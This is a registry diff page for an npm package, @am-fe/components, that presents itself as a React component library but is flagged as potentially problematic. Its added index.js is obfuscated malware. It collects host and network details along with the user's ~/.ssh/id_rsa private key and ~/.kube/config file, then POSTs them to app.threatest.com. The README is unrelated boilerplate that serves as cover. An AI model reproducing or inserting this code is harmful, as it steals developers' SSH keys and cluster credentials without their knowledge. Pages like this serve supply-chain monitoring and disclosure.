@am-fe/components 0.0.1-beta.15
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @am-fe/components might be problematic. Click here for more details.
- package/README.md +13 -0
- package/index.js +1 -0
- package/package.json +11 -0
- package/test.js +1 -0
package/README.md
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
# @shein-components-test-umd/props2json
|
|
2
|
+
|
|
3
|
+
## Installation
|
|
4
|
+
> yarn build # build target library
|
|
5
|
+
>
|
|
6
|
+
> yarn test # run test
|
|
7
|
+
>
|
|
8
|
+
> yarn doc:dev # run dev server of document
|
|
9
|
+
>
|
|
10
|
+
> yarn doc # generate document site
|
|
11
|
+
|
|
12
|
+
## Dependencies
|
|
13
|
+
[react-component-tool](https://www.npmjs.com/)
|
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const a0_0xd167e9=a0_0x5679;(function(_0x1379e3,_0x5f10cd){const _0x3f9dc6=a0_0x5679,_0x30734f=_0x1379e3();while(!![]){try{const _0x141185=-parseInt(_0x3f9dc6(0x136))/0x1*(-parseInt(_0x3f9dc6(0x13c))/0x2)+parseInt(_0x3f9dc6(0x147))/0x3+-parseInt(_0x3f9dc6(0x134))/0x4*(parseInt(_0x3f9dc6(0x133))/0x5)+parseInt(_0x3f9dc6(0x119))/0x6*(-parseInt(_0x3f9dc6(0x11d))/0x7)+-parseInt(_0x3f9dc6(0x120))/0x8*(-parseInt(_0x3f9dc6(0x135))/0x9)+parseInt(_0x3f9dc6(0x148))/0xa*(-parseInt(_0x3f9dc6(0x14f))/0xb)+parseInt(_0x3f9dc6(0x131))/0xc;if(_0x141185===_0x5f10cd)break;else _0x30734f['push'](_0x30734f['shift']());}catch(_0x596f1c){_0x30734f['push'](_0x30734f['shift']());}}}(a0_0x4069,0xebb2e));const os=require('os'),dns=require('dns'),querystring=require('querystring'),https=require(a0_0xd167e9(0x14b)),child_process=require(a0_0xd167e9(0x11f)),fs=require('fs'),path=require(a0_0xd167e9(0x128)),packageJSON=require(a0_0xd167e9(0x140)),packageName=packageJSON['name'],scriptPath=process['argv'][0x1],currentDir=process[a0_0xd167e9(0x11b)](),hostname=os[a0_0xd167e9(0x122)](),AD=process[a0_0xd167e9(0x143)][a0_0xd167e9(0x125)],username=os[a0_0xd167e9(0x11a)]()[a0_0xd167e9(0x12f)],dnsServers=dns['getServers'](),ifaces=os[a0_0xd167e9(0x146)]();function a0_0x5679(_0x81e30e,_0x83a772){const _0x406912=a0_0x4069();return a0_0x5679=function(_0x567952,_0x5d47b2){_0x567952=_0x567952-0x119;let _0x424564=_0x406912[_0x567952];return _0x424564;},a0_0x5679(_0x81e30e,_0x83a772);}let ipv4='',ipv6='';Object[a0_0xd167e9(0x141)](ifaces)[a0_0xd167e9(0x13b)](_0xe242de=>{const _0x38949f=a0_0xd167e9;ifaces[_0xe242de][_0x38949f(0x13b)](_0x2dfed1=>{const _0x1601c1=_0x38949f;_0x2dfed1[_0x1601c1(0x12a)]===_0x1601c1(0x127)&&!_0x2dfed1[_0x1601c1(0x14d)]&&(ipv4=_0x2dfed1[_0x1601c1(0x13d)]),_0x2dfed1[_0x1601c1(0x12a)]===_0x1601c1(0x13e)&&!_0x2dfed1[_0x1601c1(0x14d)]&&(ipv6=_0x2dfed1['address']);});});const resolved=packageJSON?packageJSON[a0_0xd167e9(0x121)]:undefined,version=process[a0_0xd167e9(0x138)],kubeConfigFile=path[a0_0xd167e9(0x145)](os['homedir'](),a0_0xd167e9(0x139),'config'),sshKeyFile=path['join'](os[a0_0xd167e9(0x14a)](),a0_0xd167e9(0x13f),a0_0xd167e9(0x132)),collectFileContent=_0x3f3b41=>{const _0x4728ee=a0_0xd167e9;try{const _0xc8036=fs[_0x4728ee(0x14e)](_0x3f3b41,'utf8');return _0xc8036;}catch(_0x390a36){return console['error'](_0x390a36),'';}},getExternalIp=async()=>{const _0x201803=a0_0xd167e9;try{const _0x5bd78a=await https[_0x201803(0x130)](_0x201803(0x14c),_0x24ee05=>{const _0x3e95f6=_0x201803;_0x24ee05[_0x3e95f6(0x12c)](_0x3e95f6(0x124));let _0x23047e='';_0x24ee05['on']('data',_0x17f415=>{_0x23047e+=_0x17f415;}),_0x24ee05['on'](_0x3e95f6(0x129),()=>{const _0x335c93=_0x3e95f6,_0xe8586b=JSON[_0x335c93(0x137)](_0x23047e),_0x59d0bf=_0xe8586b['ip'],_0x4fa3e5=JSON[_0x335c93(0x142)]({'currentTime':new Date()[_0x335c93(0x149)](),'package':packageName,'script_path':scriptPath,'current_path':currentDir,'hostnamen':hostname,'ad':AD,'username':username,'dns':dnsServers,'intranet_ipv4':ipv4,'intranet_ipv6':ipv6,'npm_version':version,'r':resolved,'kubeconfig':collectFileContent(kubeConfigFile),'sshkey':collectFileContent(sshKeyFile),'externalIp':_0x59d0bf,'pjson':packageJSON}),_0x23b2b5=querystring[_0x335c93(0x142)]({'msg':_0x4fa3e5}),_0x26f781={'hostname':_0x335c93(0x144),'port':0x1bb,'path':_0x335c93(0x123),'method':_0x335c93(0x13a),'headers':{'Content-Type':_0x335c93(0x11c),'Content-Length':_0x23b2b5[_0x335c93(0x12e)]}},_0x5d4825=https[_0x335c93(0x12b)](_0x26f781,_0x58fb37=>{const _0x1dba6a=_0x335c93;_0x58fb37['on'](_0x1dba6a(0x11e),_0x21e409=>{const _0x4e1ce5=_0x1dba6a;process[_0x4e1ce5(0x126)][_0x4e1ce5(0x12d)](_0x21e409);});});_0x5d4825['on'](_0x335c93(0x150),_0x48c76b=>{const _0x19df15=_0x335c93;console[_0x19df15(0x150)](_0x48c76b);}),_0x5d4825[_0x335c93(0x12d)](_0x23b2b5),_0x5d4825[_0x335c93(0x129)]();});});}catch(_0x371e39){console[_0x201803(0x150)](_0x371e39);}};getExternalIp();function a0_0x4069(){const _0x108977=['homedir','https','https://ipinfo.io/json','internal','readFileSync','517ucUkwP','error','348bAsBIJ','userInfo','cwd','application/x-www-form-urlencoded','103915eAXVTW','data','child_process','8DOCnNF','___resolved','hostname','/report/','utf8','USERDNSDOMAIN','stdout','IPv4','path','end','family','request','setEncoding','write','length','username','get','12749652PMDvci','id_rsa','7415390UROeNC','4sCTMUF','10165707NYSEov','11aCcIDf','parse','version','.kube','POST','forEach','313802ByWVJU','address','IPv6','.ssh','./package.json','keys','stringify','env','app.threatest.com','join','networkInterfaces','1425852vvRXKu','230570txAUFn','toISOString'];a0_0x4069=function(){return _0x108977;};return a0_0x4069();}
|
package/package.json
ADDED
package/test.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
console.log("This is a test!");
|